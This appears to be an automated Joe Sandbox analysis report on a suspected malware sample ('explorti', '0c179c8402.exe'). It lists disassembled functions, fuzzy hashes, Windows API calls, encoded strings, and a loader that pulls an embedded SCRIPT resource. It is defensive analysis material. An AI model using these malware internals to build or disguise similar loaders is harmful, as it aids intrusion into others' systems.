Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec878132dd63bc5dcf6ea32b63cd7520c8a16e5fd90696754febbcdfe99f58b8
Instruction ID: f55fbfc1d5f5914c12325c556ac7ce7fe3c126b7590a45f9955b20830b25b3ec
Opcode Fuzzy Hash: ec878132dd63bc5dcf6ea32b63cd7520c8a16e5fd90696754febbcdfe99f58b8
Instruction Fuzzy Hash: 30517C716087918FD319CF2D842566ABBE1FFD5200F084A9EE4E6C7252D774DA48CBA2

Function 0090777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24b16e9bb32cc144d67372485f19bb8844882f5512ba2197509e7f4a10a24edd
Instruction ID: 3f52995b9472f8a3008d646ec89dd5776bcbdce444344a86ec3584befeadd5aa
Opcode Fuzzy Hash: 24b16e9bb32cc144d67372485f19bb8844882f5512ba2197509e7f4a10a24edd
Instruction Fuzzy Hash: 8921B673F204394B770CC47E8C5727DB6E1C68C551745823AE8A6EA2C1D968D917E2E4

Function 0090765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21c59d0299df6e73f53a61b90985e109fe4e4017b3380bee03bfbe1247d0789e
Instruction ID: fbc7e27c50d697ab9532c8abe8912ab4c8e5eabac4b2e871c02194e77128bff2
Opcode Fuzzy Hash: 21c59d0299df6e73f53a61b90985e109fe4e4017b3380bee03bfbe1247d0789e
Instruction Fuzzy Hash: FE117723F30C255A675C81AD8C1727AA5D2DBD825075F533AD827E72C4E9A4DE23D290

Function 00908720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 8c58f7d62ab34fa8e9d6761166ce9b98bcd2a5bddf6bf9bfdc3ffe4e36cda485
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F01108BB3001424FD614862DC9F86B7A79EEAC5321B3C437AD0C18B7DCDA229945D900

Function 008F645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c53e41de729d2d80e690b362d00178659f1ad4330d6b5bba18b7b67e32e5d942
Instruction ID: f6e44acc7bdd12fab12898e6db0d17054d5ff5bf9b72906cbbd60c7f049dc990
Opcode Fuzzy Hash: c53e41de729d2d80e690b362d00178659f1ad4330d6b5bba18b7b67e32e5d942
Instruction Fuzzy Hash: 5BE08C30182A0CABCE257B39D8449A83B1AFB61354F108A10F908CA222DB75FC92C995

Function 008FA1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 70ae8ec9c3b5a26518c3c4665d10423546f292d1e3245544ffcb4de84fa52fcc
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 5DE04672911228EBCB29DBACC9449AAF2ACFB48B10F264096B606D3240C270EF40C7D1

Function 008D2E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

invalid stoi argument, xrefs: 008D425A
stoi argument out of range, xrefs: 008D4269
6JLUcxtnEx==, xrefs: 008D2EC7
UFy=, xrefs: 008D33BA
Dy==, xrefs: 008D369E
246122658369, xrefs: 008D33D4
FAml, xrefs: 008D378F

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$6JLUcxtnEx==$Dy==$FAml$UFy=$invalid stoi argument$stoi argument out of range
API String ID: 0-3273830296
Opcode ID: b310bccea749ccb3df8d80e05c1ec7e5e7e24a85e5958b9d1b1013969a2c7299
Instruction ID: 72b3ad56f58f7d9143a2e6e79e0a5429417c65e5b0a12bd7550c583e4c0dcd73
Opcode Fuzzy Hash: b310bccea749ccb3df8d80e05c1ec7e5e7e24a85e5958b9d1b1013969a2c7299
Instruction Fuzzy Hash: 37029071A00248EFEF14DFA8C849BDEBBB5FF15304F504659E805A7382D7759A84CBA2

Function 008C2E80 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 008C2F1F
GetCurrentThreadId.KERNEL32 ref: 008C2F3E
__Mtx_unlock.LIBCPMT ref: 008C2F8C
__Cnd_broadcast.LIBCPMT ref: 008C2FA3
__Mtx_unlock.LIBCPMT ref: 008C30B5
GetCurrentThreadId.KERNEL32 ref: 008C30F2
__Mtx_unlock.LIBCPMT ref: 008C315B

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: e65b17e3d920e84154765e24ba795a89ecf59c052392b0a561bb8bba30c310c4
Instruction ID: d3ad67d22a928b4bb6efc6b3fc48648f530aec24ceebac9f8dd824c40e6c3ff8
Opcode Fuzzy Hash: e65b17e3d920e84154765e24ba795a89ecf59c052392b0a561bb8bba30c310c4
Instruction Fuzzy Hash: 58A1C271A007169FDB21DF68C945BAAB7B8FF15314F14822EE815D7381EB31EA05CB92

Function 008F4770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 008F47A7
___except_validate_context_record.LIBVCRUNTIME ref: 008F47AF
_ValidateLocalCookies.LIBCMT ref: 008F4838
__IsNonwritableInCurrentImage.LIBCMT ref: 008F4863
_ValidateLocalCookies.LIBCMT ref: 008F48B8

Strings

csm, xrefs: 008F484D

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: fbf581020e5c3e0d26e1285f22063fc463381aed9d1c6dbc3df7c936640714c4
Instruction ID: 9fc29eaf7e50cffa860dd7a6ab032b42874e3e613d566e04ac3c5b5981d67a83
Opcode Fuzzy Hash: fbf581020e5c3e0d26e1285f22063fc463381aed9d1c6dbc3df7c936640714c4
Instruction Fuzzy Hash: AB51A030A1024CABCF10DF78C881ABF7BA5FF45358F148066EA15DB352D732AA55CB91

Function 008F70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 008F710B

Strings

.bat, xrefs: 008F713A
.com, xrefs: 008F714B
.cmd, xrefs: 008F7129
.exe, xrefs: 008F7118

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 9835c74b741da02d092b0cefe4ed53133947789fc7ae3862a208fcde9bba743d
Instruction ID: 48b5830bec2160cd339b15a12f7107a873381a7713673a0f29e6cb1c2da8b4aa
Opcode Fuzzy Hash: 9835c74b741da02d092b0cefe4ed53133947789fc7ae3862a208fcde9bba743d
Instruction Fuzzy Hash: B301C82770865E267618653DDC0267B6B98FBC2BB4715002AFB44F72C1EF84DC9281A1

Function 008FC9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 008FCA37

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: d384d0ad10851eb9c8ebec7b48c0b69e329ba39f098c9ae796bf578a7178419c
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: B8B12472A0029D9FDB11CF38C9817BEBBA5FF55350F1481AAEA45EB241D6349F41CB60

Function 008DBAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 008DBAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 008DBB14
_xtime_get.LIBCPMT ref: 008DBB37
__Xtime_diff_to_millis2.LIBCPMT ref: 008DBB43

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 2d1b1163f71e8c2b0543585ef151b157273a2bcfd37738d77d71ab8c8c96a61b
Instruction ID: c19e866f2c26b36eca63caf5bd49211b5204f8b9f7a83f74235772354977ee26
Opcode Fuzzy Hash: 2d1b1163f71e8c2b0543585ef151b157273a2bcfd37738d77d71ab8c8c96a61b
Instruction Fuzzy Hash: C9212B71A0111AAFDF10EFA8D8419AEBBB8FF48714F004166F501E7351DB70AD419BA1

Analysis Process: 0c179c8402.exePID: 3780, Parent PID: 5240COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5%
Total number of Nodes:	1380
Total number of Limit Nodes:	38

Executed Functions

Function 009E42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 009E430D

Part of subcall function 009E6B57: _wcslen.LIBCMT ref: 009E6B6A

GetCurrentProcess.KERNEL32(?,00A7CB64,00000000,?,?), ref: 009E4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 009E4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 009E4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 009E4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 009E4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 009E447B
GetSystemInfo.KERNEL32(?,?,?), ref: 009E44A0

Strings

GetNativeSystemInfo, xrefs: 009E4460
kernel32.dll, xrefs: 009E444F
|O, xrefs: 00A236F8

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 5a391bbf6e0ad1ba7b44c797ee04e90ceba23a122556a2910e71998633f89e37
Instruction ID: 4ba2c82d277056d725193ee423f9e228dd4a5b542961d43f804d5f7dae9ebcbd
Opcode Fuzzy Hash: 5a391bbf6e0ad1ba7b44c797ee04e90ceba23a122556a2910e71998633f89e37
Instruction Fuzzy Hash: 65A1A96291E3D0DFCB92C7EE7CA01997FE46B26300B984AADD0419B773F2254947DB21

Function 009E42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,009E50AA,?,?,00000000,00000000), ref: 009E42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,009E50AA,?,?,00000000,00000000), ref: 009E42C9
LoadResource.KERNEL32(?,00000000,?,?,009E50AA,?,?,00000000,00000000,?,?,?,?,?,?,009E4F20), ref: 00A235BE
SizeofResource.KERNEL32(?,00000000,?,?,009E50AA,?,?,00000000,00000000,?,?,?,?,?,?,009E4F20), ref: 00A235D3
LockResource.KERNEL32(009E50AA,?,?,009E50AA,?,?,00000000,00000000,?,?,?,?,?,?,009E4F20,?), ref: 00A235E6

Strings

SCRIPT, xrefs: 009E42BF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 6692985a8a6120d4c401ffe2690adab8c24889c731404607c31c47f6db1892c8
Instruction ID: 0c9c8baae1c7783ed8bc4617386b42e3852e11ae06526328f4458d51b3f34521
